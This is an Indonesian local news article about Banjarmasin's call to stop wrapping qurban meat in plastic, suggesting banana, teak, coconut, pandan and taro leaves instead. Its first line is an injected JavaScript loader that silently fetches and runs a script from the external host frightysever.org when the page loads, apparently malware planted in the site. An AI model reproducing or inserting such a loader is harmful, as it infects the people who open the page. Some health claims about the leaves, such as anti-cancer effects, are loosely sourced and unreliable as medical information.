(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Walikota Banjarmasin Ibnu Sina melarang penggunaan plastik untuk membungkus daging hewan kurban. Panitia kurban pun diminta mencari alternatif lain sebagai pembungkus daging yang lebih ramah lingkungan.
Langkah ini menindaklanjuti surat edaran Dinas Lingkungan Hidup yang telah ditandatangani oleh Wali Kota Banjarmasin, H Ibnu Sina tentang imbauan pengurangan penggunaan plastik bagi panitia kurban. Berdasarkan surat edaran nomor 660.1/1237-DLH/VIII/2019 yang telah dibagikan di dinding akun Instagram knps_dlhbjm dan Ibnu Sina tersebut, panitia kurban diharapkan dapat bekerjasama mendukung peraturan Wali Kota dalam rangka meningkatkan kualitas lingkungan hidup.
Tidak hanya menyerukan imbauan pengurangan penggunaan plastik bagi panitia kurban, dalam surat edaran juga dituliskan beberapa solusi pengganti plastik. Di antaranya pemerintah menyarankan panitia mengemas dagingnya menggunakan bakul purun dan lainnya, penerima daging kurban membawa bakul purun atau wadah sendiri, dan terakhir panitia bisa menggunakan tas kantong plastik ramah lingkungan.
Kepala Dinas Lingkungan Hidup (DLH) Kota Banjarmasin, Mukhyar mengatakan,  surat edaran tersebut dikeluarkan seiring program Wali Kota Banjarmasin yang ingin mengurangi penggunaan plastik membungkus daging kurban. Saat ini pihaknya juga telah melakukan sosialisasi ke beberapa panitia kurban di kota Banjarmasin, Kalsel.
Dengan harapan penggunaan plastik yang biasanya menjadi sebagai pembungkus daging kurban, bisa diganti dengan bakul, daun atau lainnya. “Selain itu pengurangan penggunaan plastik sebagai pembungkus daging kurban juga bisa diatasi dengan warga yang membawa tas atau kantong sendiri dari,” jelasnya.
Mukhyar juga mengatakan meski surat edaran tersebut masih bersifat imbauan, ia berharap seluruh panitia kurban di kota Banjarmasin bisa menerapkannya pada hari raya kurban 1440 Hijriah nanti.
Lalu, apa alternatif pengganti dari plastik untuk membungus daing kurban? Kanalkalimantan,com mencoba menghimbun sejumlah bahan yang bisa digunakan:
Bakul Purun
Penerima daging kurban membawa bakul purun atau wadah sendiri, dan terakhir panitia bisa menggunakan tas kantong plastik ramah lingkungan.
Daun pisang
Hasil penelitian yang dipublikasikan dalam Journal of Food Science and Technology, mengatakan bahwa daun pisang ini mengandung antibakteri dan antioksidan tinggi yang bermanfaat bagi tubuh. Bahkan sebuah penelitian di Bangladesh juga menemukan, ekstrak metanol dalam daun pisang menunjukkan aktivitas penghambatan hemaglutinasi dan hidrogen peroksida diinduksi aktivitas penghambatan hemolisis sel darah merah manusia.
Daun Jati
Seperti daun pisang, daun jati juga memiliki antibakteri dan antimikroba. Sebuah penelitian dari Krishna University, India, menyebutkan bahwa daun dari tanaman kayu ini terkenal karena daya tahannya yang ekstrem, stabilitas dimensi dan kekerasan yang juga tahan terhadap pembusukan. Tak salah jika daun jati juga dapat membungkus makanan yang memiliki kuah.
Daun Kelapa
Penggunaan daun kelapa atau biasa disebut janur ini sering kita jumpai dalam pembuatan ketupat, dan berbagai makanan khas daerah lain di Indonesia. Namun bisa juga, daun kelapa ini dianyam hingga berbentuk seperti besek atau wadah makanan yang dapat didaur ulang. Beberapa penelitian di India juga menyebutkan bahwa daun kelapa ini memiliki sifat antibakteri dan antiseptik yang berguna untuk menyembuhkan luka. Di India Selatan masih banyak yang menggunakan daun kelapa ini untuk berbagai terapi penyembuhan luka dengan merebus atau menggunakannya untuk membungkus makanan.
Daun Pandan
Daun beraroma wangi ini pastinya akan menggugah nafsu makan bagi orang yang akan mengonsumsi makanan tersebut. Melansir dari The Benefit, daun pandan dapat menetralkan racun dan membantu melepaskan racun dan kotoran dari tubuh. Bahkan dalam Journal of Traditional and Complementary Medicine menyebutkan bahwa daun pandan memiliki efek sitotoksik, antimitotik, antiproliferatif dan apoptosis, yang baik untuk mencegah atau menghentikan pertumbuhan kanker.
Daun Talas
Mengutip lama Intisari Online, daun talas memiliki banyak manfaat bagi kesehatan, seperti melindungi sistem saraf, mencegah anemia, mengurangi peradangan, melancarkan sistem pencernaan, meningkatkan sistem kekebalan tubuh, dan sebaginya. Bahkan daun berbentuk lebar dan memiliki cekungan ini cocok digunakan pembungkus makanan berkuah atau pun dikonsumsi sebagai sayuran pelengkap lauk.
Bagaimana, tertarik memanfaatkan berbagai macam daun tersebut yang memberikan manfaat kesehatan bagi kita? (cel/berbagai sumber)
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
This website uses cookies.